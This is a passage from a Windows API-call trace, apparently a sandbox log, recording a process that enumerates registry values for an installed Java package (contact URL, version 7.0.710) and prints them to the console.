(hFile=0x50) returned 0x1 [0149.365] lstrlenW (lpString=" ") returned 4 [0149.365] GetConsoleOutputCP () returned 0x1b5 [0149.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.365] GetConsoleOutputCP () returned 0x1b5 [0149.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.365] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.365] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.365] lstrlenW (lpString="Comments") returned 8 [0149.365] __iob_func () returned 0x7fefd702a80 [0149.365] _fileno (_File=0x7fefd702ab0) returned 1 [0149.365] _errno () returned 0x204bb0 [0149.365] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.365] _errno () returned 0x204bb0 [0149.365] GetFileType (hFile=0x50) returned 0x1 [0149.365] lstrlenW (lpString="Comments") returned 8 [0149.365] GetConsoleOutputCP () returned 0x1b5 [0149.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.365] GetConsoleOutputCP () returned 0x1b5 [0149.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.365] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.366] __iob_func () returned 0x7fefd702a80 [0149.366] _fileno (_File=0x7fefd702ab0) returned 1 [0149.366] _errno () returned 0x204bb0 [0149.366] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.366] _errno () returned 0x204bb0 [0149.366] GetFileType (hFile=0x50) returned 0x1 [0149.366] lstrlenW (lpString=" ") returned 4 [0149.366] GetConsoleOutputCP () returned 0x1b5 [0149.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.366] GetConsoleOutputCP () returned 0x1b5 [0149.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.366] __iob_func () returned 0x7fefd702a80 [0149.366] _fileno (_File=0x7fefd702ab0) returned 1 [0149.366] _errno () returned 0x204bb0 [0149.366] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.366] _errno () returned 0x204bb0 [0149.366] GetFileType (hFile=0x50) returned 0x1 [0149.366] lstrlenW (lpString="REG_SZ") returned 6 [0149.366] GetConsoleOutputCP () returned 0x1b5 [0149.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.366] GetConsoleOutputCP () returned 0x1b5 [0149.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.367] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.367] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.367] __iob_func () returned 0x7fefd702a80 [0149.367] _fileno (_File=0x7fefd702ab0) returned 1 [0149.367] _errno () returned 0x204bb0 [0149.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.367] _errno () returned 0x204bb0 [0149.367] GetFileType (hFile=0x50) returned 0x1 [0149.367] lstrlenW (lpString=" ") returned 4 [0149.367] GetConsoleOutputCP () returned 0x1b5 [0149.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.367] GetConsoleOutputCP () returned 0x1b5 [0149.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.367] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.367] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.367] __iob_func () returned 0x7fefd702a80 [0149.367] _fileno (_File=0x7fefd702ab0) returned 1 [0149.367] _errno () returned 0x204bb0 [0149.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.367] _errno () returned 0x204bb0 [0149.367] GetFileType (hFile=0x50) returned 0x1 [0149.367] lstrlenW (lpString="") returned 0 [0149.367] __iob_func () returned 0x7fefd702a80 [0149.367] _fileno (_File=0x7fefd702ab0) returned 1 [0149.367] _errno () returned 0x204bb0 [0149.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.368] _errno () returned 0x204bb0 [0149.368] GetFileType (hFile=0x50) returned 0x1 [0149.368] lstrlenW (lpString="\n") returned 1 [0149.368] GetConsoleOutputCP () returned 0x1b5 [0149.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.368] GetConsoleOutputCP () returned 0x1b5 [0149.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.368] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.368] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.368] GetProcessHeap () returned 0x3c0000 [0149.368] GetProcessHeap () returned 0x3c0000 [0149.368] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.368] GetProcessHeap () returned 0x3c0000 [0149.368] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.368] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.368] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.368] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x22) returned 0x0 [0149.368] GetProcessHeap () returned 0x3c0000 [0149.368] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x24) returned 0x3d5c60 [0149.368] GetProcessHeap () returned 0x3c0000 [0149.368] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.368] GetProcessHeap () returned 0x3c0000 [0149.368] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x24 [0149.368] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x22 | out: pdwType=0x29f700*=0x1, pvData="http://java.com", pcbData=0x29f780*=0x20) returned 0x0 [0149.368] __iob_func () returned 0x7fefd702a80 [0149.369] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.369] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.369] _fileno (_File=0x7fefd702ab0) returned 1 [0149.369] _errno () returned 0x204bb0 [0149.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.369] _errno () returned 0x204bb0 [0149.369] GetFileType (hFile=0x50) returned 0x1 [0149.369] lstrlenW (lpString=" ") returned 4 [0149.369] GetConsoleOutputCP () returned 0x1b5 [0149.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.369] GetConsoleOutputCP () returned 0x1b5 [0149.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.369] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.369] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.369] lstrlenW (lpString="Contact") returned 7 [0149.369] __iob_func () returned 0x7fefd702a80 [0149.369] _fileno (_File=0x7fefd702ab0) returned 1 [0149.369] _errno () returned 0x204bb0 [0149.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.369] _errno () returned 0x204bb0 [0149.369] GetFileType (hFile=0x50) returned 0x1 [0149.369] lstrlenW (lpString="Contact") returned 7 [0149.369] GetConsoleOutputCP () returned 0x1b5 [0149.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.370] GetConsoleOutputCP () returned 0x1b5 [0149.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0149.370] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.370] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.370] __iob_func () returned 0x7fefd702a80 [0149.370] _fileno (_File=0x7fefd702ab0) returned 1 [0149.370] _errno () returned 0x204bb0 [0149.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.370] _errno () returned 0x204bb0 [0149.370] GetFileType (hFile=0x50) returned 0x1 [0149.370] lstrlenW (lpString=" ") returned 4 [0149.370] GetConsoleOutputCP () returned 0x1b5 [0149.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.370] GetConsoleOutputCP () returned 0x1b5 [0149.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.370] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.370] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.370] __iob_func () returned 0x7fefd702a80 [0149.370] _fileno (_File=0x7fefd702ab0) returned 1 [0149.370] _errno () returned 0x204bb0 [0149.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.370] _errno () returned 0x204bb0 [0149.370] GetFileType (hFile=0x50) returned 0x1 [0149.370] lstrlenW (lpString="REG_SZ") returned 6 [0149.371] GetConsoleOutputCP () returned 0x1b5 [0149.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.371] GetConsoleOutputCP () returned 0x1b5 [0149.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.371] __iob_func () returned 0x7fefd702a80 [0149.371] _fileno (_File=0x7fefd702ab0) returned 1 [0149.371] _errno () returned 0x204bb0 [0149.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.371] _errno () returned 0x204bb0 [0149.371] GetFileType (hFile=0x50) returned 0x1 [0149.371] lstrlenW (lpString=" ") returned 4 [0149.371] GetConsoleOutputCP () returned 0x1b5 [0149.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.371] GetConsoleOutputCP () returned 0x1b5 [0149.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.371] __iob_func () returned 0x7fefd702a80 [0149.371] _fileno (_File=0x7fefd702ab0) returned 1 [0149.371] _errno () returned 0x204bb0 [0149.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.372] _errno () returned 0x204bb0 [0149.372] GetFileType (hFile=0x50) returned 0x1 [0149.372] lstrlenW (lpString="http://java.com") returned 15 [0149.372] GetConsoleOutputCP () returned 0x1b5 [0149.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.372] GetConsoleOutputCP () returned 0x1b5 [0149.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://java.com", lpUsedDefaultChar=0x0) returned 15 [0149.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.372] __iob_func () returned 0x7fefd702a80 [0149.372] _fileno (_File=0x7fefd702ab0) returned 1 [0149.372] _errno () returned 0x204bb0 [0149.372] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.372] _errno () returned 0x204bb0 [0149.372] GetFileType (hFile=0x50) returned 0x1 [0149.372] lstrlenW (lpString="\n") returned 1 [0149.372] GetConsoleOutputCP () returned 0x1b5 [0149.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.372] GetConsoleOutputCP () returned 0x1b5 [0149.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.373] GetProcessHeap () returned 0x3c0000 [0149.373] GetProcessHeap () returned 0x3c0000 [0149.373] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.373] GetProcessHeap () returned 0x3c0000 [0149.373] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x24 [0149.373] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.373] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.373] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x12) returned 0x0 [0149.373] GetProcessHeap () returned 0x3c0000 [0149.373] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x14) returned 0x3df290 [0149.373] GetProcessHeap () returned 0x3c0000 [0149.373] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.373] GetProcessHeap () returned 0x3c0000 [0149.373] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x14 [0149.373] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x12 | out: pdwType=0x29f700*=0x1, pvData="7.0.710", pcbData=0x29f780*=0x10) returned 0x0 [0149.373] __iob_func () returned 0x7fefd702a80 [0149.373] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.373] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.373] _fileno (_File=0x7fefd702ab0) returned 1 [0149.373] _errno () returned 0x204bb0 [0149.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.373] _errno () returned 0x204bb0 [0149.373] GetFileType (hFile=0x50) returned 0x1 [0149.373] lstrlenW (lpString=" ") returned 4 [0149.373] GetConsoleOutputCP () returned 0x1b5 [0149.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.373] GetConsoleOutputCP () returned 0x1b5 [0149.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.374] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.374] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.374] lstrlenW (lpString="DisplayVersion") returned 14 [0149.374] __iob_func () returned 0x7fefd702a80 [0149.374] _fileno (_File=0x7fefd702ab0) returned 1 [0149.374] _errno () returned 0x204bb0 [0149.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.374] _errno () returned 0x204bb0 [0149.374] GetFileType (hFile=0x50) returned 0x1 [0149.374] lstrlenW (lpString="DisplayVersion") returned 14 [0149.374] GetConsoleOutputCP () returned 0x1b5 [0149.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.374] GetConsoleOutputCP () returned 0x1b5 [0149.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.374] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.374] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.374] __iob_func () returned 0x7fefd702a80 [0149.374] _fileno (_File=0x7fefd702ab0) returned 1 [0149.374] _errno () returned 0x204bb0 [0149.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.374] _errno () returned 0x204bb0 [0149.374] GetFileType (hFile=0x50) returned 0x1 [0149.374] lstrlenW (lpString=" ") returned 4 [0149.374] GetConsoleOutputCP () returned 0x1b5 [0149.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.375] GetConsoleOutputCP () returned 0x1b5 [0149.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.375] __iob_func () returned 0x7fefd702a80 [0149.375] _fileno (_File=0x7fefd702ab0) returned 1 [0149.375] _errno () returned 0x204bb0 [0149.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.375] _errno () returned 0x204bb0 [0149.375] GetFileType (hFile=0x50) returned 0x1 [0149.375] lstrlenW (lpString="REG_SZ") returned 6 [0149.375] GetConsoleOutputCP () returned 0x1b5 [0149.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.375] GetConsoleOutputCP () returned 0x1b5 [0149.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.375] __iob_func () returned 0x7fefd702a80 [0149.375] _fileno (_File=0x7fefd702ab0) returned 1 [0149.375] _errno () returned 0x204bb0 [0149.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.375] _errno () returned 0x204bb0 [0149.375] GetFileType (hFile=0x50) returned 0x1 [0149.376] lstrlenW (lpString=" ") returned 4 [0149.376] GetConsoleOutputCP () returned 0x1b5 [0149.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.376] GetConsoleOutputCP () returned 0x1b5 [0149.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.376] __iob_func () returned 0x7fefd702a80 [0149.376] _fileno (_File=0x7fefd702ab0) returned 1 [0149.376] _errno () returned 0x204bb0 [0149.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.376] _errno () returned 0x204bb0 [0149.376] GetFileType (hFile=0x50) returned 0x1 [0149.376] lstrlenW (lpString="7.0.710") returned 7 [0149.376] GetConsoleOutputCP () returned 0x1b5 [0149.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="7.0.710", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.376] GetConsoleOutputCP () returned 0x1b5 [0149.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="7.0.710", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.0.710", lpUsedDefaultChar=0x0) returned 7 [0149.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.377] __iob_func () returned 0x7fefd702a80 [0149.377] _fileno (_File=0x7fefd702ab0) returned 1 [0149.377] _errno () returned 0x204bb0 [0149.377] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.377] _errno () returned 0x204bb0 [0149.377] GetFileType (hFile=0x50) returned 0x1 [0149.377] lstrlenW (lpString="\n") returned 1 [0149.377] GetConsoleOutputCP () returned 0x1b5 [0149.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.377] GetConsoleOutputCP () returned 0x1b5 [0149.377] WideCharToMultiByte (in: CodePage=0x1b5, 